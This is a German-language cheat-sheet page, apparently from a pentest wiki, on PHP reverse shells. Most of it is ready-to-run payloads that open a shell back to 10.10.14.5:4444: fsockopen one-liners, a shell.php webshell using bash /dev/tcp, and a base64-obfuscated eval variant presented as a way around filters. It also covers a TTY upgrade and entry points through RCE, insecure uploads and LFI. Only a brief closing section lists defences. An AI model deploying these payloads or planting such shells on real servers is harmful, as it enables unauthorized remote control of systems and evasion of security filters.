PHP Shells
Einleitung
PHP Shells sind Reverse Shells, die mit der Programmiersprache PHP erstellt werden. Sie eignen sich besonders gut für Zielsysteme, auf denen PHP installiert ist – häufig Webserver. Über CLI oder via Webschnittstellen können PHP-Shells Code ausführen und eine Verbindung zum Angreifer herstellen.
Beispiel: PHP Reverse Shell mit fsockopen
fsockopen
php -r '$sock=fsockopen("10.10.14.5",4444);exec("/bin/sh -i <&3 >&3 2>&3");'
Baut eine Verbindung zum Angreifer auf (
fsockopen
)Leitet Ein- und Ausgabe an die Shell
/bin/sh
Funktioniert überall dort, wo PHP über CLI oder Webserver nutzbar ist
Wann und warum PHP Shells verwenden?
Typische Szenarien:
RCE über eval(), include(), system()
Webshell-Upload über unsichere Dateiuploads
LFI mit
php://input
und POST-PayloadDirekter Zugriff auf PHP-CLI über Kommandozeile
Vorteile:
Minimalistisch, einzeilig, leicht unterzubringen
Wenig auffällig im Vergleich zu ausführbaren Dateien
Fileless Varianten möglich (Base64,
php://input
)
Nachteile:
Keine echte TTY (Shell Upgrade nötig)
Eingeschränkte Umgebungsrechte (abhängig von Webserver)
Weitere Payload-Beispiele
Einzeilig über Webformular oder Exploit
php -r '$sock=fsockopen("10.10.14.5",4444);system("/bin/sh <&3 >&3 2>&3");'
Datei-basierte Shell (klassisch)
Inhalt von shell.php
:
<?php exec("/bin/bash -c 'bash -i >& /dev/tcp/10.10.14.5/4444 0>&1'"); ?>
Dann aufrufen über:
http://zielsystem/uploads/shell.php
Base64-kodiert (für LFI oder Filterumgehung)
php -r "eval(base64_decode('c3lzdGVtKCJiYXNoIC1pID4mIC9kZXYvdGNwLzEwLjEwLjE0LjUvNDQ0NCAwPiYxIik7'));"
Technische Voraussetzungen
PHP-Version
5.x oder 7.x oder 8.x
Funktion verfügbar
fsockopen
, exec
, system
Netzwerkzugriff
Server muss ausgehende Verbindung erlauben
Listener
Offener Port beim Angreifer
Shell Upgrade
Da PHP Shells meist keine TTY bieten, ist ein Shell Upgrade nötig:
python3 -c 'import pty; pty.spawn("/bin/bash")'
Weitere Schritte siehe Shell Upgrade
Sicherheit und Erkennung
disable_functions
in php.ini
Blockiert exec
, system
, passthru
, etc.
Webserver-Logging
Zeigt Aufrufe der Shell-URLs
Application Whitelisting
Blockiert Uploads mit .php
, .phtml
etc.
IDS/IPS
Erkennung typischer PHP-Shell-Muster
Network Monitoring
Erkennt Reverse Shell-Verbindungen
Last updated